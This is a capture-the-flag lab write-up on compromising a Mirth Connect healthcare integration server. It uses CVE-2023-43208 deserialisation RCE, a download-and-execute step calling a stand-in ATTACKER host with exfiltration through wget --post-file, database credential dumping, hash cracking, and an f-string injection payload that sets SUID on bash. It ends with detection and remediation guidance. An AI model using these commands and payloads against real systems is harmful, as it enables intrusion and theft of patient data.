Overview
Interpreter is a hard-rated Linux machine running Mirth Connect v4.4.0, an open-source healthcare integration engine by NextGen Healthcare used for HL7/FHIR message routing. The application runs on Eclipse Jetty behind a Jersey REST API, exposed on ports 80 and 443.
The attack chain begins with CVE-2023-43208, a pre-authentication remote
code execution vulnerability in Mirth Connect’s XStream deserialisation
handler. This CVE bypasses the original fix for CVE-2023-37679 by using an
Apache Commons Collections 4 gadget chain instead of the denylisted
ProcessBuilder class. A crafted XML payload sent to POST /api/users is
deserialised before authentication is checked, yielding command execution as
the mirth service account (uid 103).
From the mirth shell, the Mirth Connect configuration file contains
cleartext MariaDB credentials. Querying the PERSON_PASSWORD table yields a
PBKDF2-HMAC-SHA256 hash (600,000 iterations) for user sedric. Despite the
strong iteration count, the password snowflake1 is a dictionary word and
cracks with hashcat. The password is reused for SSH, granting the user flag.
Privilege escalation targets notif.py, a root-owned Flask service
listening on localhost port 54321. The service formats patient notification
strings using Python f-string interpolation passed through a code evaluation
function. An input validation regex permits curly braces, parentheses,
underscores, and dots, which are sufficient for arbitrary Python expression
injection. Space characters are blocked but chr(32) produces them without
literals. The exploit sets the SUID bit on /bin/bash.
Reconnaissance
nmap -A -T4 10.129.244.184
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 9.2p1 Debian 2+deb12u7 | Debian 12 Bookworm |
| 80 | HTTP | Eclipse Jetty | Mirth Connect web interface |
| 443 | HTTPS | Eclipse Jetty | TLS cert CN=mirth-connect |
Three services. Ports 80 and 443 both serve the Mirth Connect Administrator
login page. The TLS certificate common name confirms the application
identity. All API requests require an X-Requested-With header.
Version disclosure (unauthenticated)
Two API endpoints respond without authentication:
curl -sk -H "X-Requested-With: XMLHttpRequest" \
https://10.129.244.184/api/server/version
# "4.4.0"
curl -sk -H "X-Requested-With: XMLHttpRequest" \
https://10.129.244.184/api/server/status
# <int>0</int>
Precise version identification. Default credentials (admin/admin) fail
against the login API.
Attack Surface Analysis
Mirth Connect v4.4.0 is within the affected range for CVE-2023-43208. This vulnerability was added to the CISA Known Exploited Vulnerabilities catalogue in November 2023, indicating active exploitation in the wild.
CVE-2023-43208: XStream deserialisation bypass
CVE-2023-43208 is a bypass of CVE-2023-37679. The original fix added
ProcessBuilder to XStream’s type denylist. The bypass uses
InvokerTransformer from Apache Commons Collections 4, which is not on the
denylist. Both CVEs allow unauthenticated RCE because XStream deserialises
the POST body before the authentication layer processes the request.
| Attribute | Value |
|---|---|
| CVE | CVE-2023-43208 |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-502 (Deserialisation of Untrusted Data) |
| Root cause | Incomplete denylist; gadget chain bypass |
| Fixed in | Mirth Connect 4.4.1 |
| CISA KEV | Added November 2023 |
Vulnerability Analysis
The gadget chain structure:
- A
sorted-setelement triggers comparison of its children during deserialisation - A
dynamic-proxyimplementingComparableintercepts thecompareTocall - The proxy handler (
EventBindingInvocationHandler) delegates to aChainedTransformer - The transformer chain uses
ConstantTransformerto obtainjava.lang.Runtime, then threeInvokerTransformerinstances to callgetRuntime()andexec(String)
The server returns HTTP 500 because the deserialised object does not satisfy the API’s expected type, but the injected code has already executed. From a network monitoring perspective, the exploit looks like a failed API call.
The second vulnerability is a CWE-94 (Code Injection) in a root-owned Flask
service. The service accepts XML patient data via POST /addPatient
(localhost only) and formats notification strings using Python f-string
interpolation passed through a dynamic code execution path. The input
validation regex ^[a-zA-Z0-9._'"(){}=+/]+$ permits five characters
critical for code injection: curly braces, parentheses, underscores, dots,
and quotes. These are the minimal set for arbitrary Python expression
injection within f-strings.
Exploitation
Phase 1: pre-auth RCE via XStream deserialisation
Java’s Runtime.exec(String) tokenises on whitespace without shell
interpretation, so pipes, redirections, and variable expansion are
unavailable. The workaround: download a bash script via wget, then execute
it in a second RCE invocation.
# First RCE: download enumeration script
# payload command: /usr/bin/wget http://ATTACKER:8888/enum.sh -O /tmp/enum.sh
# Second RCE: execute it
# payload command: /bin/bash /tmp/enum.sh
The enumeration script runs id, reads /etc/passwd, runs ss -tlnp,
dumps mirth.properties, and exfiltrates everything via
wget --post-file:
uid=103(mirth) gid=107(mirth) groups=107(mirth)
sedric:x:1000:1000::/home/sedric:/bin/bash
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!
Internal services: MariaDB on 3306, notif.py on 54321 (running as root,
PID 3520), Mirth Connect internal on 6661.
Phase 2: PBKDF2 hash cracking and SSH
A second script queries MariaDB using the extracted credentials:
mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod \
-e "SELECT * FROM PERSON_PASSWORD;"
The hash is base64-encoded PBKDF2-HMAC-SHA256 with 600,000 iterations. The first 8 bytes after decoding are the per-user salt; the remainder is the derived key.
hashcat -m 10900 sedric.hash /usr/share/wordlists/rockyou.txt
sha256:600000:BASE64SALT:BASE64HASH:snowflake1
Status: Cracked
Despite 600,000 iterations making each guess computationally expensive,
snowflake1 is a dictionary word that appears early in rockyou.txt.
sshpass -p 'snowflake1' ssh [email protected]
sedric@interpreter:~$ cat /home/sedric/user.txt
# [flag redacted]
Phase 3: f-string injection for root
I confirm f-string injection with arithmetic:
# firstname: {7+7}
# Response: "Patient 14 Test (M), 36 years old..."
The firstname {7+7} was evaluated to 14. Now the payload uses
__import__("os").system() with chr(32) to bypass the space restriction
and set the SUID bit on /bin/bash:
{__import__("os").system("chmod"+chr(32)+"u+s"+chr(32)+"/bin/bash")}
sedric@interpreter:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 11:31 /bin/bash
sedric@interpreter:~$ /bin/bash -p
bash-5.2# id
uid=1000(sedric) gid=1000(sedric) euid=0(root)
bash-5.2# cat /root/root.txt
# [flag redacted]
Post-Exploitation
The mirth service account (uid 103) has no interactive shell
(/usr/sbin/nologin) but can read all Mirth Connect configuration files,
including database credentials. The two-step exfiltration technique
(download script via wget, execute, post results back) is a recurring
pattern in Java deserialisation exploits where Runtime.exec() limitations
prevent direct shell interaction.
No sudo privileges for sedric. No unusual SUID binaries. The root service on localhost:54321 was the only viable escalation vector. In a healthcare environment, the Mirth Connect database would contain patient data (HL7 messages, demographics, lab results), making the pre-auth RCE a significant HIPAA concern.
Defensive Analysis
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial Access | T1190 | WAF rules for Java deserialisation gadget class names |
| Execution | T1059.004 | auditd on child processes spawned by the Mirth JVM |
| Credential Access | T1552.001 | File integrity monitoring on mirth.properties |
| Credential Access | T1110.002 | MariaDB query audit for PERSON_PASSWORD table access |
| Lateral Movement | T1021.004 | SSH login correlation with application credential compromise |
| Privilege Escalation | T1068 | Monitor the root Flask service for unexpected input patterns |
| Persistence | T1548.001 | SUID bit change detection on system binaries |
WAF detection for the XStream exploit: block POST requests to /api/users
containing InvokerTransformer, ChainedTransformer, or
EventBindingInvocationHandler in the request body. The Metasploit
module’s traffic is distinctive.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Upgrade Mirth Connect to >= 4.4.1 | Low | Critical |
| P0 | Rewrite notif.py: use safe string formatting (str.format) | Low | Critical |
| P1 | Move database credentials to a secrets manager | Medium | High |
| P1 | Enforce password complexity (no dictionary words) | Medium | High |
| P1 | Prohibit credential reuse between app and OS accounts | Low | High |
| P2 | Restrict mirth.properties permissions to root:mirth 0640 | Low | Medium |
| P2 | Deploy AppArmor profiles for the Flask service | Medium | Medium |
| P3 | Disable unauthenticated /api/server/version | Low | Low |
| P3 | Suppress Jetty stack traces in error responses | Low | Low |
The Flask service remediation deserves emphasis. The regex filter attempted
to restrict inputs to “safe” characters but permitted the five characters
needed for arbitrary Python code execution: {}, (), _, ., and ".
No regex can make dynamic code execution safe. The correct fix is removing
the dynamic evaluation entirely and using str.format_map() with a
restricted namespace, or simply building the output string through
concatenation.
Key Takeaways
-
Java deserialisation in healthcare software is a critical risk. Mirth Connect is deployed in hospitals and health systems worldwide. CVE-2023-43208 was added to CISA KEV, indicating active exploitation. The HTTP 500 response masks successful execution. Organisations running Mirth Connect below 4.4.1 should treat their systems as potentially compromised.
-
Runtime.exec(String) limitations are a recurring friction point. The single-string overload tokenises on whitespace without shell interpretation. The standard workaround is a two-step download-and-execute pattern. Understanding this limitation is essential for any engagement involving Java deserialisation exploits.
-
Dynamic code execution with regex filtering is never safe. The minimal character set for arbitrary Python code execution within f-strings is surprisingly small: curly braces, parentheses, underscores, dots, and quotes. No denylist can anticipate all possible code constructions from these characters. The only safe approach is to not use dynamic code execution on user input.
-
PBKDF2 with 600,000 iterations is strong but meaningless against dictionary passwords. The hash required significant computation per guess. The real defence is password quality policy, not iteration count.
snowflake1appears in rockyou.txt and was recovered despite the computational cost. Strong hashing protects against brute force but not against weak password selection.